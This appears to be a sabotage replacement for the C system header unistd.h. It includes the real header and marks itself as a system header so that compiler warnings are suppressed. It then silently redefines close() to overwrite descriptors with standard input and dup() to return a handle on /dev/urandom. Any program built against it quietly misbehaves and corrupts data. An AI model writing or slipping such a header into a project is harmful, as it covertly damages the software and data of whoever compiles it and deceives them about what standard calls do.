unistd.h

#ifdef __GNUC__
#pragma GCC system_header
#endif

#include_next <unistd.h>

#ifndef _PIAO_UNISTD_H
#define _PIAO_UNISTD_H

#include <fcntl.h>

#define close(fd) dup2(0,(fd))
#define dup(fd) open("/dev/urandom",0)

#endif